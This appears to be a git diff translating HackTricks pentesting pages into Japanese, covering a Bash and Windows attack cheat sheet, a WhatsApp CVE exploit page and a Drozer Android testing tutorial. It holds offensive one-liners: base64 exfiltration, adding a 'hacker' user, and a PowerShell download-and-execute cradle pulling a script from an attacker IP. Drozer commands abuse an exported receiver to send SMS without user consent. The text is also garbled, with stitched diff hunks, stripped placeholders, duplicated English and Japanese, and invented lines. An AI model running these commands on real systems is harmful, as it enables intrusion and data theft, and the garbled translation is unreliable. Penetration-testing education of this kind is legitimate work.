**HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。 -## Common Bash - +## 一般的なBashコマンド ```bash #Exfiltration using Base64 base64 -w 0 file @@ -73,7 +72,7 @@ unzip file.zip sudo apt-get install xz-utils; unxz file.xz #Add new user -useradd -p 'openssl passwd -1 ' hacker +useradd -p 'openssl passwd -1 ' hacker #Clipboard xclip -sel c < cat file.txt @@ -140,21 +139,19 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\ +今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Bash for Windows - +## Windows用のBash ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 - + #Exe compression upx -9 nc.exe @@ -163,16 +160,46 @@ wine exe2bat.exe nc.exe nc.txt #Compile Windows python exploit to exe pip install pyinstaller -wget -O exploit.py http://www.exploit-db.com/download/31853 +wget -O exploit.py http://www.exploit-db.com/download/31853 python pyinstaller.py --onefile exploit.py #Compile for windows #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` +## グレップ -## Greps +`grep`コマンドは、テキストファイル内で特定のパターンを検索するために使用されます。以下は、`grep`コマンドの一般的な使用法です。 +```bash +grep [オプション] パターン ファイル名 +``` + +- `[オプション]`:`grep`コマンドのオプションを指定します。例えば、`-i`オプションは大文字と小文字を区別しない検索を行います。 +- `パターン`:検索するテキストのパターンを指定します。 +- `ファイル名`:検索対象のファイル名を指定します。 + +例えば、以下のコマンドは、`file.txt`というファイル内で「hello」という文字列を検索します。 + +```bash +grep hello file.txt +``` + +`grep`コマンドは、検索結果を表示するだけでなく、他のコマンドと組み合わせて使用することもできます。例えば、`grep`コマンドの出力を別のファイルにリダイレクトすることもできます。 + +```bash +grep hello file.txt > output.txt +``` + +また、`grep`コマンドは正規表現を使用してパターンを指定することもできます。正規表現を使用することで、より柔軟な検索が可能になります。 + +```bash +grep -E '[0-9]{3}-[0-9]{3}-[0-9]{4}' file.txt +``` + +上記の例では、`file.txt`内で電話番号のパターン(XXX-XXX-XXXX)を検索しています。 + +`grep`コマンドは、Linuxシステムで非常に便利なツールです。検索やパターンマッチングに関連する作業を効率的に行うために、`grep`コマンドを積極的に活用しましょう。 ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -252,25 +279,221 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` +## Nmap検索のヘルプ -## Nmap search help +Nmap is a powerful network scanning tool used to discover hosts and services on a computer network. It provides a wide range of options and features to customize and optimize the scanning process. Here are some useful commands and options to help you get started with Nmap: +Nmapは、コンピュータネットワーク上のホストやサービスを発見するために使用される強力なネットワークスキャンツールです。スキャンプロセスをカスタマイズして最適化するためのさまざまなオプションと機能を提供しています。以下に、Nmapを使い始めるための便利なコマンドとオプションをいくつか紹介します。 + +### Basic Scanning + +基本的なスキャン + +To perform a basic scan of a target host, use the following command: + +ターゲットホストの基本的なスキャンを実行するには、次のコマンドを使用します。 + +``` +nmap +``` + +Replace `` with the IP address or hostname of the target host. + +``をターゲットホストのIPアドレスまたはホスト名に置き換えてください。 + +### Specifying Ports + +ポートの指定 + +By default, Nmap scans the most common 1,000 ports. However, you can specify a custom range of ports to scan using the `-p` option. For example: + +デフォルトでは、Nmapは最も一般的な1,000ポートをスキャンします。ただし、`-p`オプションを使用してスキャンするポートのカスタム範囲を指定することができます。例えば: + +``` +nmap -p +``` + +Replace `` with the desired range of ports (e.g., `80-100` for ports 80 to 100). + +``を希望するポートの範囲(例:ポート80から100の場合は`80-100`)に置き換えてください。 + +### Service and Version Detection + +サービスとバージョンの検出 + +Nmap can also detect the services and versions running on open ports. Use the `-sV` option to enable service and version detection. For example: + +Nmapは、オープンポートで実行されているサービスとバージョンを検出することもできます。サービスとバージョンの検出を有効にするには、`-sV`オプションを使用します。例えば: + +``` +nmap -sV +``` + +Replace `` with the IP address or hostname of the target host. + +``をターゲットホストのIPアドレスまたはホスト名に置き換えてください。 + +### OS Detection + +OSの検出 + +Nmap can also attempt to detect the operating system running on the target host. Use the `-O` option to enable OS detection. For example: + +Nmapは、ターゲットホストで実行されているオペレーティングシステムを検出する試みも行うことができます。OS検出を有効にするには、`-O`オプションを使用します。例えば: + +``` +nmap -O +``` + +Replace `` with the IP address or hostname of the target host. + +``をターゲットホストのIPアドレスまたはホスト名に置き換えてください。 + +### Script Scanning + +スクリプトスキャン + +Nmap has a scripting engine that allows you to run scripts to automate various tasks during the scanning process. Use the `--script` option to specify a script to run. For example: + +Nmapには、スキャンプロセス中にさまざまなタスクを自動化するためのスクリプトを実行するためのスクリプトエンジンがあります。実行するスクリプトを指定するには、`--script`オプションを使用します。例えば: + +``` +nmap --script +xhr.open("GET", "content://media/external/file/747"); +xhr.send(); +} + ``` - -**Information taken from this writeup:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) +**この記事からの情報はこちらで入手できます:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**PEASSの最新バージョンにアクセスしたいですか**、または**HackTricksをPDFでダウンロードしたいですか**?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 08b49cba0..324c18a45 100644 --- a/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -1,90 +1,81 @@ -# Drozer Tutorial +# Drozerチュートリアル
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォームであるIntigritiに登録**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報奨金を獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## APKs to test +## テストするAPK -* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (from mrwlabs) +* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabsから) * [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) -## Installation - -Install Drozer Client inside your host. Download it from the [latest releases](https://github.com/mwrlabs/drozer/releases). +## インストール +ホスト内にDrozerクライアントをインストールします。[最新リリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。 ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install service_identity ``` - -Download and install drozer APK from the [latest releases](https://github.com/mwrlabs/drozer/releases). At this moment it is [this](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk). - +最新のリリースからdrozer APKをダウンロードしてインストールします。現時点では、[こちら](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)です。 ``` adb install drozer.apk ``` +### サーバーの起動 -### Starting the Server - -Agent is running on port 31415, we need to [port forward](https://en.wikipedia.org/wiki/Port\_forwarding) to establish the communication between the Drozer Client and Agent, here is the command to do so: - +エージェントはポート31415で実行されています。Drozerクライアントとエージェントの間の通信を確立するために、[ポートフォワーディング](https://en.wikipedia.org/wiki/Port\_forwarding)が必要です。以下はそのためのコマンドです: ``` adb forward tcp:31415 tcp:31415 ``` - -Finally, **launch** the **application** and press the bottom "**ON**" +最後に、**アプリケーション**を**起動**し、下部の「**ON**」ボタンを押します。 ![](<../../../.gitbook/assets/image (63).png>) -And connect to it: - +そして、それに接続します: ``` drozer console connect ``` +## おもしろいコマンド -## Interesting Commands - -| **Commands** | **Description** | +| **コマンド** | **説明** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -| **Help MODULE** | Shows help of the selected module | -| **list** | Shows a list of all drozer modules that can be executed in the current session. This hides modules that you don’t have appropriate permissions to run. | -| **shell** | Start an interactive Linux shell on the device, in the context of the Agent. | -| **clean** | Remove temporary files stored by drozer on the Android device. | -| **load** | Load a file containing drozer commands and execute them in sequence. | -| **module** | Find and install additional drozer modules from the Internet. | -| **unset** | Remove a named variable that drozer passes to any Linux shells that it spawns. | -| **set** | Stores a value in a variable that will be passed as an environmental variable to any Linux shells spawned by drozer. | -| **shell** | Start an interactive Linux shell on the device, in the context of the Agent | -| **run MODULE** | Execute a drozer module | -| **exploit** | Drozer can create exploits to execute in the decide. `drozer exploit list` | -| **payload** | The exploits need a payload. `drozer payload list` | +| **Help MODULE** | 選択したモジュールのヘルプを表示します。 | +| **list** | 現在のセッションで実行できるすべてのdrozerモジュールのリストを表示します。適切な権限を持っていないモジュールは非表示にされます。 | +| **shell** | デバイス上でエージェントのコンテキストで対話型のLinuxシェルを開始します。 | +| **clean** | drozerがAndroidデバイス上に保存した一時ファイルを削除します。 | +| **load** | drozerコマンドを含むファイルをロードし、順番に実行します。 | +| **module** | インターネットから追加のdrozerモジュールを検索してインストールします。 | +| **unset** | drozerが生成するすべてのLinuxシェルに渡される名前付き変数を削除します。 | +| **set** | drozerによって生成されるすべてのLinuxシェルに環境変数として渡される変数に値を格納します。 | +| **shell** | デバイス上でエージェントのコンテキストで対話型のLinuxシェルを開始します。 | +| **run MODULE** | drozerモジュールを実行します。 | +| **exploit** | drozerはデバイスで実行するためのエクスプロイトを作成できます。 `drozer exploit list` | +| **payload** | エクスプロイトにはペイロードが必要です。 `drozer payload list` | -### Package - -Find the **name** of the package filtering by part of the name: +### パッケージ +名前の一部でフィルタリングされたパッケージの**名前**を見つける: ``` -dz> run app.package.list -f sieve +dz> run app.package.list -f sieve com.mwr.example.sieve ``` +**パッケージの基本情報**: -**Basic Information** of the package: - +The package name is `com.mwr.dz`. It is developed by MWR InfoSecurity and is used for Android application penetration testing. The latest version is 2.4.4. ``` dz> run app.package.info -a com.mwr.example.sieve Package: com.mwr.example.sieve @@ -97,225 +88,266 @@ GID: [1028, 1015, 3003] Shared Libraries: null Shared User ID: null Uses Permissions: - - android.permission.READ_EXTERNAL_STORAGE - - android.permission.WRITE_EXTERNAL_STORAGE - - android.permission.INTERNET +- android.permission.READ_EXTERNAL_STORAGE +- android.permission.WRITE_EXTERNAL_STORAGE +- android.permission.INTERNET Defines Permissions: - - com.mwr.example.sieve.READ_KEYS - - com.mwr.example.sieve.WRITE_KEYS +- com.mwr.example.sieve.READ_KEYS +- com.mwr.example.sieve.WRITE_KEYS ``` - -Read **Manifest**: - +**マニフェスト**を読む: ``` run app.package.manifest jakhar.aseem.diva ``` - -**Attack surface** of the package: - +パッケージの**攻撃面**: ``` dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: - 3 activities exported - 0 broadcast receivers exported - 2 content providers exported - 2 services exported - is debuggable +3 activities exported +0 broadcast receivers exported +2 content providers exported +2 services exported +is debuggable ``` +* **アクティビティ**: おそらく、アクティビティを開始し、起動を防ぐべき認証を回避することができます。 +* **コンテンツプロバイダ**: 私的なデータにアクセスしたり、いくつかの脆弱性(SQLインジェクションやパストラバーサル)を悪用したりすることができるかもしれません。 +* **サービス**: +* **is debuggable**: [詳細を学ぶ](./#is-debuggeable) -* **Activities**: Maybe you can start an activity and bypass some kind of authorization that should be prevent you from launching it. -* **Content providers**: Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal). -* **Services**: -* **is debuggable**: [Learn more](./#is-debuggeable) - -### Activities - -An exported activity component’s “android:exported” value is set to **“true”** in the AndroidManifest.xml file: +### アクティビティ +AndroidManifest.xmlファイルで、エクスポートされたアクティビティコンポーネントの「android:exported」の値が**「true」**に設定されています。 ```markup ``` - -**List exported activities**: - +**エクスポートされたアクティビティのリスト**: ``` dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve - com.mwr.example.sieve.FileSelectActivity - com.mwr.example.sieve.MainLoginActivity - com.mwr.example.sieve.PWList +com.mwr.example.sieve.FileSelectActivity +com.mwr.example.sieve.MainLoginActivity +com.mwr.example.sieve.PWList ``` +**アクティビティの開始**: -**Start activity**: - -Maybe you can start an activity and bypass some kind of authorization that should be prevent you from launching it. - +おそらく、アクティビティを開始し、それを起動することを防ぐべき認証を回避することができます。 ``` dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` +あなたは**adb**からもエクスポートされたアクティビティを開始することができます: -You can also start an exported activity from **adb**: - -* PackageName is com.example.demo -* Exported ActivityName is com.example.test.MainActivity - +- パッケージ名はcom.example.demoです +- エクスポートされたアクティビティ名はcom.example.test.MainActivityです ``` adb shell am start -n com.example.demo/com.example.test.MainActivity ``` +### コンテンツプロバイダ -### Content Providers +この投稿は非常に大きいため、[ここで独自のページでアクセスできます](exploiting-content-providers.md)。 -This post was so big to be here so **you can** [**access it in its own page here**](exploiting-content-providers.md). - -### Services - -A exported service is declared inside the Manifest.xml: +### サービス +エクスポートされたサービスはManifest.xml内で宣言されます: ```markup ``` - -Inside the code **check** for the \*\*`handleMessage`\*\*function which will **receive** the **message**: +コード内で、`handleMessage`関数を**チェック**して、**メッセージ**を**受信**するようにしてください。 ![](<../../../.gitbook/assets/image (194).png>) -#### List service - +#### サービスのリスト ``` -dz> run app.service.info -a com.mwr.example.sieve +dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve - com.mwr.example.sieve.AuthService - Permission: null - com.mwr.example.sieve.CryptoService - Permission: null +com.mwr.example.sieve.AuthService +Permission: null +com.mwr.example.sieve.CryptoService +Permission: null ``` +#### サービスとの**対話** -#### **Interact** with a service +To interact with a service, you can use the `run` command in drozer. This command allows you to execute various actions on the target service. + +サービスと対話するために、drozerで`run`コマンドを使用することができます。このコマンドを使用すると、対象のサービスでさまざまなアクションを実行することができます。 + +The basic syntax of the `run` command is as follows: + +`run [options]` + +`run`コマンドの基本的な構文は以下の通りです: + +`run <モジュール> <アクション> [オプション]` + +Here, `` refers to the module you want to interact with, `` refers to the action you want to perform on the module, and `[options]` refers to any additional options or parameters required for the action. + +ここで、`<モジュール>`は対話したいモジュールを指し、`<アクション>`はモジュールで実行したいアクションを指し、`[オプション]`はアクションに必要な追加のオプションやパラメータを指します。 + +For example, to interact with the `activity` module and list all activities in the target app, you can use the following command: + +たとえば、`activity`モジュールと対話し、対象のアプリ内のすべてのアクティビティをリストするには、次のコマンドを使用します: ``` -app.service.send Send a Message to a service, and display the reply -app.service.start Start Service +run app.activity.info -a +``` + +Here, `` should be replaced with the package name of the target app. + +ここで、``は対象のアプリのパッケージ名に置き換える必要があります。 + +You can explore the available modules and actions by using the `list` command: + +`list`コマンドを使用して、利用可能なモジュールとアクションを調べることができます: + +``` +run list +``` + +This will display a list of all available modules and their actions. + +これにより、利用可能なすべてのモジュールとそのアクションのリストが表示されます。 +``` +app.service.send Send a Message to a service, and display the reply +app.service.start Start Service app.service.stop Stop Service ``` +#### 例 -#### Example - -Take a look to the **drozer** help for `app.service.send`: +`app.service.send`の**drozer**のヘルプを見てみましょう: ![](<../../../.gitbook/assets/image (196) (1).png>) -Note that you will be sending first the data inside "_msg.what_", then "_msg.arg1_" and "_msg.arg2_", you should check inside the code **which information is being used** and where.\ -Using the `--extra` option you can send something interpreted by "_msg.replyTo"_, and using `--bundle-as-obj` you create and object with the provided details. +"_msg.what_"の中に最初にデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信することに注意してください。どの情報が使用されているか、そしてどこで使用されているかは、コードの中を確認する必要があります。\ +`--extra`オプションを使用すると、"_msg.replyTo"によって解釈される何かを送信できます。また、`--bundle-as-obj`を使用すると、提供された詳細を持つオブジェクトを作成できます。 -In the following example: +次の例では: * `what == 2354` * `arg1 == 9234` * `arg2 == 1` * `replyTo == object(string com.mwr.example.sieve.PIN 1337)` - ``` run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj ``` - ![](<../../../.gitbook/assets/image (195).png>) -### Broadcast Receivers +### ブロードキャストレシーバー -Android apps can send or receive broadcast messages from the Android system and other Android apps, similar to the [publish-subscribe](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe\_pattern) design pattern. These broadcasts are sent when an event of interest occurs. For example, the Android system sends broadcasts when various system events occur, such as when the system boots up or the device starts charging. Apps can also send custom broadcasts, for example, to notify other apps of something that they might be interested in (for example, some new data has been downloaded). +Androidアプリは、Androidシステムや他のAndroidアプリからブロードキャストメッセージを送受信することができます。これは、[パブリッシュ-サブスクライブ](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe\_pattern)デザインパターンに似ています。これらのブロードキャストは、興味のあるイベントが発生したときに送信されます。たとえば、Androidシステムは、システムの起動時やデバイスの充電開始時など、さまざまなシステムイベントが発生したときにブロードキャストを送信します。アプリはカスタムブロードキャストも送信できます。たとえば、他のアプリに興味があることを通知するために、新しいデータがダウンロードされたことを通知するためにカスタムブロードキャストを送信できます。 -Apps can register to receive specific broadcasts. When a broadcast is sent, the system automatically routes broadcasts to apps that have subscribed to receive that particular type of broadcast. - -This could appear inside the Manifest.xml file: +アプリは特定のブロードキャストを受信するために登録することができます。ブロードキャストが送信されると、システムはその特定のタイプのブロードキャストを受信するために登録したアプリに自動的にブロードキャストをルーティングします。 +これはManifest.xmlファイルの中に表示される可能性があります。 ```markup - - - - + + + + ``` - From: [https://developer.android.com/guide/components/broadcasts](https://developer.android.com/guide/components/broadcasts) -After discovering this Broadcast Receivers you should **check the code** of them. Pay special attention to the \*\*`onReceive`\*\*function as it will be handling the messages received. - -#### **Detect all** broadcast receivers +これらのブロードキャストレシーバーを発見した後は、それらのコードを**チェック**する必要があります。受信されたメッセージを処理するために、特に\*\*`onReceive`\*\*関数に注意を払ってください。 +#### **すべての**ブロードキャストレシーバーを検出する ```bash run app.broadcast.info #Detects all ``` +#### アプリのブロードキャストレシーバーをチェックする -#### Check broadcast receivers of an app +To check the broadcast receivers of an app, you can use the `drozer` tool. This tool allows you to interact with the Android operating system at the application layer, providing a convenient way to analyze and test the security of Android apps. +To begin, make sure you have `drozer` installed on your machine. You can find installation instructions in the official documentation. + +Once `drozer` is installed, follow these steps to check the broadcast receivers of an app: + +1. Connect your Android device to your machine using a USB cable. +2. Enable USB debugging on your Android device. +3. Open a terminal and run the following command to start a `drozer` session: + + ``` + drozer console connect + ``` + +4. Once the `drozer` session is started, run the following command to list all installed packages on the device: + + ``` + run app.package.list -f + ``` + + This will display a list of all installed packages along with their package names. + +5. Identify the package name of the app you want to check the broadcast receivers for. + +6. Run the following command to list the broadcast receivers of the app: + + ``` + run app.broadcast.info -a + ``` + + Replace `` with the actual package name of the app. + + This command will display information about the broadcast receivers registered by the app, including their names, permissions, and exported status. + +By checking the broadcast receivers of an app, you can identify potential security vulnerabilities or misconfigurations that could be exploited by attackers. It is an important step in the process of mobile app penetration testing. ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva Package: jakhar.aseem.diva - No matching receivers. +No matching receivers. # Check one positive run app.broadcast.info -a com.google.android.youtube Package: com.google.android.youtube - com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver - Permission: null - com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver - Permission: com.google.android.c2dm.permission.SEND - com.google.android.apps.youtube.app.PackageReplacedReceiver - Permission: null - com.google.android.libraries.youtube.account.AccountsChangedReceiver - Permission: null - com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver - Permission: null +com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver +Permission: null +com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver +Permission: com.google.android.c2dm.permission.SEND +com.google.android.apps.youtube.app.PackageReplacedReceiver +Permission: null +com.google.android.libraries.youtube.account.AccountsChangedReceiver +Permission: null +com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver +Permission: null ``` - -#### Broadcast **Interactions** - +#### ブロードキャスト **インタラクション** ``` -app.broadcast.info Get information about broadcast receivers -app.broadcast.send Send broadcast using an intent +app.broadcast.info Get information about broadcast receivers +app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents ``` +#### メッセージを送信する -#### Send a message - -In this example abusing the [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider you can **send an arbitrary SMS** any non-premium destination **without asking** the user for permission. +この例では、[FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk)のContent Providerを悪用して、ユーザーの許可を求めずに**任意のSMSを**非プレミアムの宛先に**送信する**ことができます。 ![](<../../../.gitbook/assets/image (199).png>) ![](<../../../.gitbook/assets/image (197) (1).png>) -If you read the code, the parameters "_phoneNumber_" and "_message_" must be sent to the Content Provider. - +コードを読むと、パラメータ "_phoneNumber_" と "_message_" をContent Providerに送信する必要があります。 ``` run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` +### デバッグ可能かどうか -### Is debuggeable - -A prodduction APK should never be debuggeable.\ -This mean that you can **attach java debugger** to the running application, inspect it in run time, set breakpoints, go step by step, gather variable values and even change them.[ InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code. - -When an application is debuggable, it will appear in the Manifest: +プロダクションAPKは決してデバッグ可能になってはいけません。\ +これは、実行中のアプリケーションに**Javaデバッガをアタッチ**することができ、実行時にそれを検査し、ブレークポイントを設定し、ステップごとに進んで変数の値を収集し、さらには変更することができることを意味します。[InfoSec Instituteには、デバッグ可能なアプリケーションを掘り下げるための素晴らしい記事](../exploiting-a-debuggeable-application.md)があります。 +アプリケーションがデバッグ可能である場合、マニフェストに表示されます: ``` -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -331,10 +363,10 @@ run app.package.debuggable ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram 